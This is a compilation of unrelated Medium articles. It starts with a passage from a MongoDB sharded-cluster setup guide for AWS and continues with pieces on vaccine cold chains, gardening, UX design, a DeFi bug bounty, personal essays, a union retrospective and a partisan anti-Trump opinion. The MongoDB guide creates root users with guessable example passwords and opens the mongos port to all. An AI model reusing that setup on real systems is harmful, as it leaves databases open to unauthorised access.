user: "shard", pwd: "shard@123", roles: [{ role: "root", db: "admin" }] }) 10. Open config file again /etc/mongod.conf and append below lines at the bottom of the file security: keyfile: /home/ < username > /shardauthkey 11. We have added keyfile as well which we have copied from config server where we initially created it 12. Now restart mongod and enter the shell with below command mongo --port=2707 -u shard -p shard@123 --authenticationDatabase=admin Done Now we are done with our initial setup. But the major question is How we will enable each node to communicate with each other. Network conditioning Config server: config_server need to have direct access to <shar_1_ip> on port 27017 and <shard_2_ip> on port 27017. Shard servers need to communicate to config server so they need access to <config_server_ip> on port 27017 AWS I will explain about AWS. Similar way you can set up in any cloud <shard_1_ip> : (Can be elastic IP/internal IP) Use internal_ip for better security <shard_2_ip>: (Can be elastic IP/internal IP) Use internal_ip for better security <config_server_ip>: (Can be elastic IP/internal IP) Use internal_ip for better security In security group of shard server on AWS, give inbound permission to config_server_ip onport 27017. In security group of config server on AWS, give inbound permission to shard_1_ip and shard_2_ip on port 27017 On some servers, you need to edit firewall rules. Go ahead and edit in the same way Our cluster is ready to start communicating with each other Mongos: Ssh to config_instance Create mongos.conf file in /etc/ systemLog: destination: file logAppend: true path: <log file directory> net: port: 27020 bindIp: 0.0.0.0 processManagement: timeZoneInfo: /usr/share/zoneinfo sharding: configDB: config/<inter/public/elasticip/>:27017 security: keyFile: /home/<username>/shardauthkey 3. Now run mongos mongos —config /etc/mongos.conf 4. To run mongos without interruptions we need to daemonize mongos like mongod. In the latest ubuntu version systemctl service can be added for mongos. Or if you want to use you can use supervisor as well. 5. Now login to mongos using the below command. We have changed the port in mongo command as config server is running on port 27017 and mongos is running on port 27020 mongo --port=27020 -u shard -p shard@123 --authenticationDatabase=admin 6. Once you have entered into mongo shell you can add shards to cluster now. sh.addShard( "shard_1<public/private/elasticip>:27017") sh.addShard( "shard_2<public/private/elasticip>:27017") 7. Add a new user to provide access to mongodb clients use admin db.createUser({ user: "sharduser", pwd: "sharduser@123", roles: [ { role: "root", db: "admin" } ] }) 8. Done we have setup the cluster 9. We can initiate a few sharded collection in mongos if we have already had them otherwise we can add them later sh.enableSharding("<database_name>") sh.shardCollection("<database_name>.<collection_name>", { < shard key field >: "hashed" }) Shard Keys Be cautious of shard keys as they provide information about the way data across the entire cluster will be distributed. Shard keys also put some restriction on collections for data update and querying them For more details look into the below article: https://docs.mongodb.com/manual/core/sharding-shard-key/ Using mongos We have setup mongos in the config server. Go to its security group, give inbound rule on config_server public IP, and port 27020 to all. Now you can use shard cluster with below command mongo —host <public_ip_of_config_server> —port 27020 -u sharduser -p sharduser@123 --authenticationDatabase=admin Use it in any mongo client library. You can scale a cluster to 3 nodes replica set per server and similarly multiple mongos too. I hope this will clarify your doubts about MongoDB shard cluster setup. Thanks for reading

https://medium.com/analytics-vidhya/how-to-deploy-3-node-mongodb-shard-cluster-on-aws-2bf2fd821e5

['Rakesh Bhatt']

2020-05-04 14:16:25.235000+00:00

['Database', 'Mean Stack', 'Clustering', 'Mongodb', 'DevOps']

Project A on Logistics: The Challenge of our Generation

The premiere of the brand-new 2021 Project A Logistics Tech Landscape and why the race to vaccinate the population is such a herculean effort In my role as an Investment Manager at Project A, I’m focusing on Logistics & Procurement (amongst other things), together with Sharanya Eswaran, Associate in our team & co-author of this article. Tom Hanks rescuing a FedEx package in “Cast Away” (2000) (Source: 20th Century Fox) The last time the eyes of everyone in the world were fixated on FedEx was in 2000, when Tom Hanks starred in international blockbuster ‘Cast Away’. Today, billions are watching closely as FedEx ships the first vaccines from Pfizer’s facilities in Kalamazoo. When will the vaccine get here? How fast can we get out of this mess? Margaret Keenan, who turns 91 next week, became the first person to be vaccinated (Source: Tagesschau) Around the globe, excitement peaked when Pfizer and BioNTech published vaccine results (causing a historic public markets frenzy, best summarised in this meme). Margaret Keenan became the first person in the western world to be given a Covid-19 vaccine. In the UK, this injection kicks off a first-run of “800,000 doses of the Pfizer/BioNTech vaccines” . As I’m writing this, other countries are following. The vaccination of the global population will be the “largest product launch in the history of humankind”. The vaccination of the global population will be the “largest product launch in the history of humankind”. The pandemic’s timeline depends on it. Studies show that the most likely timeline reaches the functional end of the pandemic in Q3/Q4 2021. One of the main drivers behind this timeline are the high expectations around distribution. However, supply chain issues could massively slow down the timeline to Q3 2023. Vaccines don’t save lives, vaccination does Shippers, carriers, governments and manufacturers have been preparing for months to make the impossible possible. Looking at where the world’s countries currently stand in terms of the readiness of their Immunization Supply Chain Logistics (ISCL), the numbers don’t look as promising: (Source: WHO) The logistical complexity is unparalleled — a current estimate says 60% of the world’s population will need a vaccine. Pfizer/BioNTech are aiming for 25m doses by EOY 2020 and 630m in 2021. It will take other players like AstraZeneca, Moderna, Merck, etc. to satisfy global demand. The US alone have purchased 700m doses from various companies in advance — their deal with Pfizer alone costing $1.95bn for 100m doses (Source). After production comes packaging, shipment and administration. The orchestration of that requires not only shipping a vaccine, but also swabs, masks, gloves, syringes, etc. The vaccine is a double-dose vaccine, so factor in all materials at least x2. 850m syringes are estimated to be needed in the US alone. And at the same time, you need the personnel to administer the vaccine — personnel who need to be vaccinated. How many staff need to be vaccinated depends on the number of vaccines a given region receives — which in many countries, is unclear. Puerto Rico already experienced the first bigger public hiccup — they received only half the vaccines they were promised. Due to their volumes, additional supplies will be shipped by sea and road freight. That will take longer — up to 4 months — than the 3 days needed for vaccines to be air-shipped. Furthermore, air cargo capacities are insufficient. All global air cargo worldwide is moved by around 2,000 air freighters and 22,000 regular jetliners. The IATA (International Air Transport Association) estimates that 8,000 747s would be required to deliver a single dose to the world’s population. The cold chain (which doesn’t exist yet) How do you source millions of specifically-designed boxes which maintain an internal temperature of the North Pole (-70 °C for the BioNTech vaccine, 2–8 °C for the one from Moderna) and distribute them across the globe without disrupting the cold chain? Pfizer designed a box for the vaccines to be carried in. It holds 4,875 doses and needs a refill of 23kg of dry ice every five days — to keep the vaccine functional for 15 days. Large logistics groups such as DHL & medium-sized pharmaceutical logistics companies are already preparing for the special transport conditions. UPS & FedEx are building freezer farms with 600 freezers each holding 48,000 doses of the vaccine. But UPS and FedEx can’t do this all over the globe. These special cooling systems are not available in most parts of the world. You can’t even get a cold can of Coke in some of these countries where the cold chain is incredibly fragile. In large regions of the planet, 25% of all fresh produce, which only has to be kept a little above 0 °C, is wasted due to breaks in the cold supply chain. The WHO estimates that, in 2011 alone, 2.8m doses of vaccines were lost because the cold chain was broken — in Nigeria and Ethiopia for example, almost a third of all cooling facilities are non-functional in the first place. Hence, everybody is still waiting for the game-changing vaccine that does not need more than 0–8 °C. And even with the functional equipment, humans make mistakes. At all points of “changes in custody” (e.g. from air cargo to the truck), the risk is high for mistakes to happen. Refilling the boxes is tricky. Pfizer recommends the boxes are not opened more than twice a day, and should be closed within one minute, even when refilling with dry ice. It is also likely that dry ice will run out in most countries — with some producers already at their capacity maximum. A worker loads vials of Pfizer and BioNTech’s COVID-19 vaccine into specialised containers, nicknamed pizza boxes, which are charged with dry ice to keep the vaccines at –70 °C for transport and short-term storage. Source: ScienceNews.org Doesn’t sound dramatic enough yet? Here come the hackers… To make matters worse, supply chains for Covid-19 vaccines have been targeted by criminals heavily. Several government bodies have issued increased worries around various cyberattacks against vaccine shippers and carriers. From manufacturing to distribution, officials have “noticed an uptick in attacks”: “[Our] suspicion is that all parties in the cybercriminal underground from ordinary criminals to nation state representatives recognize that the vaccines represent a golden opportunity and are responding as such”. Also, officials’ private homes and cold storage groups are being targeted by a “global phishing campaign”. Cold storage companies don’t have resilient cybersecurity systems and hackers can enter their systems.“Advanced insight into the purchase and movement of a vaccine that can impact life and the global economy is likely a high-value and high-priority nation-state target (BBC).” “Advanced insight into the purchase and movement of a vaccine that can impact life and the global economy is likely a high-value and high-priority nation-state target.” Healthcare information systems under pressure The centrally organised orchestration of vaccinations has to be as efficient as possible — the BioNTech vaccine becomes unusable 6 hours after thawing. Databases for patient data or medical supplies data are not integrated with vaccine providers and federal agencies. This in combination with the complexities of double-dose vaccination will put healthcare systems under huge pressure to overcome tiresome data policies and digitalise processes. Staffing will be an absolute nightmare to manage. In Berlin for instance, expected capacity are 3,400 vaccinations per day and center. One challenge will be that the queues for the vaccine don’t become super-spreader events. In addition, not only must there be enough medical doctors on site, but drivers, helpers, etc. In all countries, governments will have to rely on other aid organisations, the armed forces, hospitals, and volunteers for help. In the middle of difficulty lies opportunity Previously, vaccination efforts have focused on individual vaccination supply chains — from measles to yellow fever, there was rarely a unified effort to build a resilient supply chain which can deal with a global pandemic. This is the first time in history that a pandemic has reached the whole world simultaneously. The requirements for supply chains have never been so high. The only consolation is that everybody is grappling with this — which is why we think it’s a great opportunity for creating better supply chains and a better healthcare system.

https://insights.project-a.com/project-a-on-logistics-the-challenge-of-our-generation-e971498b41c2

['Enrico Mellis']

2020-12-22 08:17:34.261000+00:00

['Startups', 'Logistics', 'Covid 19', 'Technology', 'Venture Capital']

Phenomena

Phenomena Photo by Tim B Motivv on Unsplash Some may call it phantasmagorical an apparition too hard to ascribe it may be fantastic implausible and eccentric or far too phenomenal to describe. When the mist washes over the ocean and rises then melts in the sun and the red cliffs display their curtains when the night times’ over and done. The sunlight peeps ‘tween native bushes and dew glistens on eucalypts leaf’s the Bay sparkles like millions of diamonds and the sea slides o’er the shore and the reefs. Small birds dart in between branches the birdsong mingles with waves on the shore the magical rhythm and beams from the prism bounce and echo and come to the fore. Far away and beyond the horizon night time still whispers her lonely song not seen by my eyes or heard through the cries of the day as it moves swiftly along. I search in my soul for some sanctity a spirit to weather the storm a place of refuge to keep out of the cold near the hearth to keep my hands warm. It may be termed a rare phenomenon an occurrence marvel or sensation the sun the moon wind and rain experiences of association. For me the phenomena are a different world where nature merges and enters my senses and after the storm in the quiet of the dawn I submit and drop all of my defences. © David Rudder 22nd December 2020 Thanks for reading.

https://medium.com/illumination/phenomena-a12ab8f0df58

['David Rudder']

2020-12-21 20:00:08.393000+00:00

['Nature', 'Emotions', 'Phenomenal', 'Insights', 'Poetry']

Garden ecology and the nature of growing

Heather in the Echinacea by Tauna Pierce Herbicides, pesticides, insecticides, fungicides, rodenticides… which for what, what for where, how and when? Farmers who love farming, and gardeners who love gardening would much rather be outside in the sunshine with their hands full of dirt, than toiling through mountains of material safety data reports. Pest and disease prevention is, however, an unwavering commonality for every grower; and there are as many chemical “solutions” available as there are pests. How do you decide which ‘icide to use, which is most beneficial for the dollar, which has the least fallout for your land, which are the longest acting — and most importantly, do they work at all and if so, are they safe to use around children, pets and the food you will be eating? A brand new bean by Tauna Pierce Generally speaking, chemical solutions to natural problems rarely work beyond the very short term. And when fighting nature with synthetic strategies, there is always a price to pay… sometimes just a dollar price, but often with the price of your own health. Chemical deterrents for insects and animals are indiscriminate killers. Chances are, if it isn’t safe enough for you to eat, you don’t want it on or near your food crops… and you certainly wouldn’t want it in the bodies of your children. In fact, the reason why a vast majority of people grow their own food to begin with, is to provide a safer, healthier alternative to commercially grown food. Image by Markus Spiske Our natural world offers healthy alternatives to nearly every difficulty that growers are faced with. Whether it be inviting native wildlife to eat up rodents who are otherwise eating up your crops, or utilizing the natural properties of certain plants to repel insects from other plants, or even nurturing soil properties to prevent disease processes in your vegetables, nature has already created strategies — we just have to identify and implement them. Farmers and gardeners who work with nature, instead of against it, will find that the answers are more plentiful, and even less difficult, than they seem. Natural pest control options are available to every backyard, every garden, and every farm — no matter where you grow. Just take a real close look at our natural world and learn to incorporate natural solutions. These methods are almost always safer, healthier, smarter and cheaper than modern approaches to primitive problems. Earth has been a grower since the beginning of time and the secret of her success is in the “law of least effort”. Instead of fighting natural rhythms, the planet flows with them by nurturing multi-species relationships and encouraging all the living creatures within an ecosystem to perform the work that keeps that system in balance. Image by Dixit Motiwala It’s a lot like we were taught growing up — if everybody does a little bit of the work, then nobody has to do all of the work… that kind of fairness creates a harmony that’s healthy for everyone involved. We can learn from this ancient arrangement — we can even manipulate and exploit some of these natural processes in order to maintain a nice balance in our own cultivated ecological endeavors. Think of your farm, your garden, your backyard and even a singular flower bed as an ecosystem in itself. In a healthy, natural environment, there is a method of checks and balances that keeps the plants and animals fed, thriving and useful. There are means to prevent diseases and to limit pests by using the same techniques that have been at work in our natural world from the start. Sure, there’s a little work involved, but trust me, it’s much less mind-numbing than decoding chemical data sheets. Nature’s ways are much more beneficial to the health of any biotic network, including your organized ecological community. Image by Tom Ezzatkhah Your first step is to identify what is living in your ecosystem. Take a day, in three shifts, to really look at what you’re trying to create from your dirt and your sunshine. Spend the morning quietly watching which animals and insects are gathering — and then do the same thing in the middle of the day — and again at the end of the day. In between shifts, enjoy a nice walk-about to familiarize yourself with what kinds of wild plants are growing on and around your property. You’ll most likely notice that in addition to native bushes, trees, grasses and vines, you may also have many foreign plants that have taken root there as well. After you’ve gotten your inventory, take a look at what plants and animals are native to your area — which birds, reptiles, mammals, insects and plants are supposed to be there. Many native wild animals provide beneficial services to growers, such as regulating the populations of others. With a little thought, these helpful creatures can be incorporated into your space — usually it’s as simple as inviting them to dinner. Image by Vladimir Kudinov Native wildlife prefers a native diet. It’s true. Ask any bunny and he will tell you that he’d rather have a tummy full of dandelion and clover than anything in our boring old gardens anyway. By discovering which plants should naturally thrive around you, you’ll be a step closer to balancing your mini ecosystem. For instance, most songbirds are omnivores, in addition to berries and seeds they do a great job of regulating insect populations — so get rid of invasive plant species that are uselessly taking up your space, and add the things that the birds would naturally eat. Lure them in with native grasses, huckleberries, elderberries, trumpet creeper and such -then watch as your pesky garden insects become the icing on the cake for many a happy songbird. Stay a step ahead of the bugs and get sweet bird songs to boot. Image by Ian Baldwin You’re going to be digging and planting anyway, why not garden for your wildlife too? By mimicking nature’s solutions to ecosystem imbalances, you achieve a more organic approach to your own ecological creation. An added benefit to gardening for your wildlife is that many native plants provide you with a delicious treat as well. Who doesn’t enjoy a pocket full of muscadines, or fresh blackberries in their pancakes? Encouraging beneficial insects to patrol the garden helps keep the “bad bugs” to a minimum. We all know that pollinators like honey bees and butterflies are essential for a healthy garden. There are many other little bugs that are garden-friendly as well. Lady bugs, dragonflies, spiders, fire flies and wasps are just a few that enjoy dining on the insects (and larvae) that reap havoc in our garden spaces. Image by Benjamin Balazs In addition to songbirds and beneficial insects, another way to discourage the bad bugs is by companion planting — tuck herbs and flowers in between your vegetable plants. Many herbs — like garlic, chives, basil, mint and rosemary — repel harmful insects. An herb garden is valuable in many other ways too, from jazzing up your kitchen creations, to delicious teas and organic remedies, growing herbs is a “should do” for anyone who enjoys encouraging the soil to bring up life. A truly healthy ecological structure requires diversity in order to keep that balance of “enough but not too many”. Don’t limit your wildlife invitations to just the birds, they’re great for daytime work, but most of them clock out when the sun goes down. For this reason, you’ll also want to invite bats, toads and frogs to help you keep your mosquitoes and other nocturnal insects to a minimum. On sultry August evenings, you’ll be glad you did. Image by Wayne Robinson Hawks, owls and snakes should join your community as well, they will be glad to keep the birds, squirrels, rabbits, rats and mice in check. Some raptors, especially red shouldered hawks, will help prevent snake populations from getting intrusive. Hawks and owls go hand in hand, by staffing both the day shift and the night shift you get 24 hour rodent coverage — and some of your owls will even eat skunks, opossums and armadillos too. Red tailed hawk — Image by Tauna Pierce Even though your guest list is growing, don’t worry, this system is self regulating. By offering your hospitality to the wild things, you keep niches filled with what works. With plants and animals alike, if you take away one species, another will quickly slide into its place. This is why trapping and/or killing garden pests doesn’t work in the long run — something is standing at the backdoor ready to take its place. By letting natural patterns work for you, that balance is more readily achieved. Just like a natural ecosystem, your garden is circular in nature, with everything touching something else in the loop. Taking the time to nurture this natural balance within your cultivated spaces will not only start to pay off quickly, it does eventually learn to keep itself — giving you more time to enjoy the fruits of your labor instead of just working for them.

https://medium.com/driftwood-chronicle/garden-ecology-and-the-nature-of-growing-cd8ecd7b066b

['Tauna Pierce']

2016-11-18 13:59:13.588000+00:00

['Gardening', 'Sustainability', 'Edible Backyard', 'Environmental Issues', 'Environment']

Machine Learning — How it works. Definitions of AI and ML. What their…

Photo by Alina Grubnyak on Unsplash You hear the words “Machine Learning” and “Artificial Intelligence” tossed around all the time nowadays. News articles pop up about how Artificial Intelligence (AI) is being used for predictive policing. You hear how companies are rushing to implement Machine Learning (ML) into their products. But what are AI and ML? How does it work? Read on to find out. What’s the Difference? What are They? In everyday life, we use ML interchangeably with AI, but they’re different! AI is the whole domain whereas ML is a specific field in AI. In other words, AI is to math as ML is to geometry. So what are they? AI is the act of getting a machine to do actions that typically require human intelligence. This is a broad definition because it’s the definition for the whole field. AI applications range from chatbots, to composing music, to designing airplane parts! How does AI do this? One approach is ML. Machine Learning processes give machines data, then have them learn automatically from that data to produce actions. This may seem simple at first, but actually programming a program to classify cats and dogs seems like an impossible task! But don’t worry , it’s possible, and you’ll learn how it works in the next section.

https://medium.com/datadriveninvestor/machine-learning-how-it-works-900b53d0e3d7

['Dickson Wu']

2020-11-10 20:33:42.282000+00:00

['Machine Learning', 'Artificial Intelligence', 'AI', 'Data Science', 'Programming']

Giving your cloths a second life makes you happier

UX/UI : 15 days — Team of 2 Less than 1% of clothing are recycled. We are working on an app that helps educates people about fashion pollution and help clothing have a longer life, but how do my teammate Morgan Brabessa and I got there ? Data from Survey, interviews and research First thing — Some numbers about textile industry Source : Study Ellen MacArthur ,2017 As you can read, 65000 km is the distance to produce a cloth from the field to the store. The scariest number is 1 billion cloths are produced every year and less that 1% are recycled ! Ecologic behavior and relationship with clothing (survey and research) People are used to separate their trash, pay attention to use of water… and are more and more sensitive about the planet. They are aware of the textile industry pollution, but not about figures. For example, the textile industry uses a lot of water. It would be responsible for 20% of the pollution of the world’s water, because of the dyeing and treatments of our textiles are particularly polluting. People are not aware about When people don’t want to keep the clothes anymore, they throw them away or give them to charities. Many use this option out of convenience. Also, they are not informed about other options. Some of them would have liked to keep their clothes but did not have an option for repair and preferred to get rid of them. If I had known how to repair my clothes, I could have kept it. User sentence from interview. Many have a sentimental attachment and find it difficult to throw them away. Others drop off in dumpsters for recycling but are not informed about the recycling process at all. People are not informed about the decomposition of materials in clothing. The first criterion of a garment is the purchase price. They do not have the notion of buying better for the planet. The wellness by having ecological habits How can we create well-being for people about clothing? Well-being comes from the fact that people are aware that their actions are going in the direction of the planet. Many do not have a totally ecological habits but are aware that they are participating in their own way by doing actions for the planet, on a small scale. “The key is to reduce consumption and not just buy green stuff. Having less and buying less can actually make us more satisfied and happier,” The pain points After analyzing the data, the most important point is that people don’t know the options once a piece of clothing is damaged or they no longer wish to keep it. Please meet Emilie. Our research of user behaviors are synthetised here. Emilie has a small budget to buy her clothes. She’s attached to them. It really bothers her to have to part with it, because she is not informed of the solutions that could help her keep it. But at what point in the process is Emilie frustrated? In the journey map, there are 2 points of frustration, the moment when she damages her clothes and the moment when she can’t find a solution that would suit her. Journey flow of Emilie Emilie, could represent people among those who are not aware of her options when it comes to not be informed about it. How could we educate Emilie on eco consumption, to extend the lifespan of her clothes, increasing her satisfaction by reducing the environmental impact? To simplify, how could we make Emilie happier ? Educate is to know the impact of the textile industry on natural resources, the possibilities to give a second life to her clothes, she no longer wants. Accompany her to know her options, and prioritize repairing her clothes when possible through a tutorial. Contributing to Emilie’s well-being by making her happier An app to raise Emilie’s awareness and let her know her options when she wants to get rid of a piece of clothing. The flow : repair a jean Emilie have a damage (hole) on her jean. She does not want to get rid of it, so she decided to see what could be her options. She chooses to repair it by herself. Low-fi and testing (paper and pen) Story board and Paper prototype after iteration Tests results with users: - identify information that does not make sense - elements that are not consistent - simplify the number of screens (initially 12) - don’t bludgeon the user with green messages: many found that there were a lot of green messages. Mid-fi digital prototype on Sketch with Invision : test In black and white, it allowed: - to see the tester navigate from screen to screen - to pick up on any blocking points - adjust the items on the page - focus on awareness messages about the textile industry High-Fi prototype Moodboard Our goal is to offer several options to give new life to a garment by prioritizing repair option. New life is like a new cycle of life passing through the seasons, nature renewing. Recycle is DIY, a concept not to throw away but give a different purpose to an object. To finish, adding happy people to communicate this strong feeling. Style Tyle We have chosen fresh colors to recall the renewal of nature. Icons has been done for consistency and help identify the type of clothing. Style tyle Iteration on High-fi This step asks the user to specify the size of the damaged area in cm. Users have no idea of what a “cm” is and have difficulties indicating the size. → We have simplified the functionality that allows the user to enter information to assess the damaged area. He now has to surround the damage area. Iteration Video prototype Below the flow on this prototype, Emilie chooses - what she wants to do, - the type of cloths, - precise where the damage is - and have a diagnostic. In addition in the user flow : to motivate Emilie by repairing DIY, she can be part of the community by sharing her work. A way for her to see what others do, but also to accentuate the feeling of belonging to a group of people who have the same motivations. Video of prototype Prototype — Second life Next step of the app Buy/Sell : allow user to buy and sell items on the app. Create a community that share the idea of giving their cloths a second option because they are aware of the textile pollution. Educating users about new initiatives in plastic processing, plastic recycling, fair fashion, etc. What i have learned Team work : collaborate work on Invision, on ideas and prioritizing my work. Users give a lot of insight — always be an empathizer. Testing and iterations at all steps > help make your solution better and create one that will be used how the user wants, from there improve loyalty from him. Thanks for reading me.

https://medium.com/@mellisa.inder/give-your-closing-a-second-life-be-happier-ef8910c69197

['Mellisa Inder']

2020-04-23 16:17:56.612000+00:00

['Prototyping', 'Clothing', 'Happy', 'Community', 'Educate']

Hack Us Will You?

Delorians, If you are here long enough you already know we have a thing about security. Securing the funds of each and every Revaulter is always on our mind in every step we take. This is why we went through 2 smart contract audits, have a proxy smart contract for every user, integrated Valid Networks Smart Widget, and enabled time lock on our contracts. This time, we took it a step further. Allow me to present you with Revault Bug Bounty Together with our great friends at Immunefi, we had just launched an extensive bug bounty, inviting all of you beautiful White hats over there to take your best shot at us and possibly get yourself a nice paycheck. We want you to crack us open, looking at our smart contracts, website and app searching for vulnerabilities on several main topics considered critical. Please visit Revault’s page at Immunefi’s website for the full bounty description. The rewards will be distributed according to the impact of the vulnerability based on the Immunefi Vulnerability Severity Classification System, and will be as follows: Smart Contracts and Blockchain Critical — Up to 250,000$ High — Up to 25,000$ Medium — Up to 10,000$ Low — Up to 5,000$ Web and App Critical — Up to 10,000$ High — Up to 5,000$ Medium — Up to 5,000$ Why are you still reading?? Get to it Join our community channels and always be the first to know Twitter: https://twitter.com/revaultnetwork Discord: https://discord.gg/revaultnetwork Telegram: https://t.me/revaultnetwork Website: https://www.revault.network

https://medium.com/@revaultnetwork/hack-us-will-you-ac6547165a22

[]

2021-12-28 19:38:26.919000+00:00

['Yield Farming', 'Bug Bounty', 'Audit', 'Defi', 'Binance Smart Chain']

Cisgender For a Day

Still feels pretty much normal. But I did learn some important lessons. 1. Being cis would not make me any happier. 2. Being cis made me feel very ordinary. Not unique or somewhat mythical as I feel about being trans. 3. I lost my visibility. That was a crushing blow. I feel almost a responsibility to be visible as an older transgender female. I know how much I have affected everyday people in a positive way by being a kind person, a tax paying citizen, like everyone else, not the demonized version of trans people we are used to seeing in movies and TV shows of not too long ago. 4. Being cisgender is not the cure for being transgender. Accepting who I am, living authentically and unapologetically is the cure. Oh, sure the HRT and surgeries help too. 5. I realized that trying to fit in to a cisgender hetero-normative world only causes me pain. The Queer world is where I belong. I’m happy to be here too. Oh of course I love my cis family and friends as much as ever, need and crave their love and support but it’s not enough to fill my soul. I am Queer, and I need more and I can see that now. Queer people understand the struggles and how hard they are to overcome even for someone like me who hid it so well for decades never giving a clue to anyone that I suffered at all.

https://medium.com/empowered-trans-woman/cisgender-for-a-day-93afaf40f8f4

['Rachel Brindell']

2020-10-24 00:21:20.627000+00:00

['LGBTQ', 'Gender Identity', 'Lessons Learned', 'Self Love', 'Transgender']

A way to design thinking

A way to design thinking Design thinking is a very useful way towards problem solving. It involves various steps that lead us towards solving a problem. This problem can be our personal problem or it can be a problem that is faced by a large Community and it can also be a social issue. It involves to empathize on the problem, to define and identify it and to refine and test the solution which you have found during this process. While thinking of the process of design thinking, I came up with the idea that why don’t I think of a problem that start implementing it to solve that problem… Okay now… the problem about which l have always been concerned is related to 'Books’. Why I am much concerned about this factor is because not a large number of people have ever thought on this serious issue. The problem which I discover is: “ There is no such social community or social circle at general public level that can connect passionate readers. Those who are crazy about reading. Also, a lot of students and people are there who cannot afford to buy such an expensive books every year or every six months. Alongwith that, books, that should be treated as treasure, are being deteriorated and are now being disowned on a massive level; how? in a way, that a lot of people have lost interest in book reading in their hard copy form because lot of books are now available on internet easily. This is also greatly affecting the book publishing business all over the world”. So why don’t we generate a platform that can connect these book-readers to each other so that they can share their books with each other either for a limited time or permanently, either for free or at a much lower price voluntarily. This will not only provide these books with a new home and a new master that will take better care of them but also it will tend to attract more people back towards book reading which not only will incorporate them with more knowledge but also provide them with their own source of peace and it will also help to revive the publishing business. All we know that true books lovers never want to say goodbye to their books badly. So why don’t we provide them with the readers that are passionately willing to grab those books. This is would be a win-win for both sides.. What do you people think of this idea!! Let me know about it and share your thoughts with me… Then I will let you people know about my next plans..

https://medium.com/@ayesha-rasool169/a-way-to-design-thinking-49f4ee92ee3e

['Ayesha Rasool']

2020-12-25 18:46:08.466000+00:00

['Connection', 'Books', 'Book Readers', 'Design Thinking', 'Social Change']

ACORN: A Retrospective

Today is my last official day as an officer for ACORN Leeds. For the better part of 2 years, the union has been a centre of gravity for my whole life. Returning back to Leeds in 2018, I felt quite anchorless and demoralized politically. Bruised by the defeat of the anti-austerity movement, I, like many others, found a political home in ACORN. It drew on the energy and defiance of those movements, their commitment to grassroots solidarity and direct action, whilst channelling tried-and-true methods of community organizing through the durable foundation of union strategy and structure. Rather than cycles of culmination and burnout, flashes and outbursts, hinging on the admirable martyrdom of an already-converted activist minority, ACORN was committed to building the infrastructure for long-term power, determined to win through working class and community struggle. I’ll admit I thought some of it was bombast initially: still less so did I imagine myself the kind of person who could be an organizer at the coalface, weary as we were from braving the frontlines of another protest, making another forlorn stand. And yet, even as we stumbled to cobble together the groundwork from scratch in the early stages, we were driven by the gravity of that mission, the urgency of the stakes to reverse decades of grotesque resource inequality that had plunged our communities into misery and privation and desperation. In that, we drew on a courage and strength that was much bigger than us, the spirit of a collective movement that ACORN sought to crystallize, in which every one of us had not just the potential but the duty to organize and raise up others as leaders too. No half measures, no saviours but the people themselves taking control of our own lives. During those first cases, door knocking sessions, campaigns, one is daunted not just by the individual insecurities and doubts that come to a head, but much moreso by the scale of the challenges you’re confronting, the weight of the injustices you’re seeking to overcome, the sheer complexity of building an organization that is up to the task. Throughout my time with ACORN, I think above all I learnt how by banding together we can rise above fear and be part of something greater than ourselves, become stronger and bolder than we could have ever been on our own, achieve extraordinary and otherwise impossible feats. Of course, it was not painless: there were frustrations, setbacks, bitter disappointments, grief. In part that’s the nature of the struggle, but also a product of a fraught year, the longstanding scars in our communities, the loss of people dear to us, some of our brightest comrades like Josh. Holding to the raw edge of suffering and exploitation whilst embracing hope: incumbent on any organizer, and something Josh was so earnest about. Loyalty, and bravery, and sacrifice, a tireless dedication to the cause tempered by generosity and humour, a sincere belief in others and in unity: the warmth of his legacy remains a grace to all of us, a remarkable spark enduring and rippling through our movement. Especially throughout this year, we’ve had to adapt to many shocks, maintain resolve and optimism and resilience in fearful and dislocating circumstances. Despite the old adage, organizing is no substitute for mourning, and revolutionary zeal is only so much buffer against the paralysis of despair. And yet, amid such disorientation, it’s institutions like ACORN that have tied us together, bolstered us with meaning and purpose. When the whole world seems to be fracturing, it can sometimes feel like little solace to thread together and build whatever we can. But it’s our only hope, if the harder path: we owe it to each other to care, to take seriously our responsibility and obligations to one another, knowing deeply that our health as much as our freedoms and dreams are bound up with that of others. Ultimately, for me, it feels like the right time to step down and regroup. There’s an element of sadness here, but much more than that a sense of jubilance and pride. I feel inspired by all the formidable organizers I’ve met, the struggles we’ve fought and won together, the memories of friendship and camaraderie we’ve come to share. I feel humbled to have been there from the very scrappy beginnings, to have played my part in the rapid growth and triumphs of the union, to learn from a burgeoning layer of new leaders who will now transcend the original committee, make the union their own, uplift and be uplifted by it. It’s reminded me we can change things, that what we do here matters. In our solidarity, our trust in each other, our power together, we have a fighting chance at a better world. I’m excited to continue working toward, seizing at, that future, however we can.

https://medium.com/@luke1ryan/acorn-a-retrospective-b59890090dde

['Luke Dukinfield']

2020-12-29 00:33:56.837000+00:00

['Politics And Protest', 'Protest', 'Housing', 'Hope', 'Unions']

The last election

The last election It has been a ‘low, dishonest’ four years, echoing Auden’s ‘low, dishonest decade’ prior to WWII, since Trump was elected. America is a diminished country, its allies realizing it can no longer be relied upon as it becomes weary and older, its infrastructure aging and not replaced as it should have been, despite the empty posturing of its President. Even if Trump loses this election, as he should, there is no guarantee that America will care to restore relations with all its allies. America has always been arrogant, but that has been balanced, since WWII, with a public service attitude that at least led to a sense of international responsibility. Under Trump, that sense of responsibility has been abandoned for the ideas, using that word loosely, of a leader in Trump who must rank as the worst President the US has ever had, and that includes James Buchanan, corrupt and Lincoln’s immediate predecessor. He has spent his time over-throwing the whole basis of America’s soft power in the West and elsewhere. He has done this through his incredible stupidity as well as his narcissism, that means anything that does not reflect him is of no interest to him. He is likely the stupidest person ever to occupy the White House. The dishonesty has drawn in all members of the Republican Party who have not openly revolted against Trump. They are the ones who have outsourced jobs and production to increase corporate profits and make more money for themselves. They are the ones against whom Trump the populist has said he will protect voters affected by Republican voters. The voters have not seen behind this facade, or did not at the time of the last election. So many of his ‘base’ voters have failed to understand the way they were tricked before and look like they will be tricked again. Over the last four years, Trump has failed to advance the fight against environmental degradation, failed to solve America’s immigration dilemma, failed address America’s increasing isolation in the world, Ultimately, Trump is the worst person ever elected and has done incredible harm to the US. That he has any chance of reelection is a poor comment on the perception of the American electorate.

https://medium.com/@taylorway935/the-last-election-b05ee0ca024f

['James Angus']

2020-10-26 04:46:52.473000+00:00

['2016 Election', 'America', 'Politics', 'History']

Why LinkedIn is Bad for the Internet

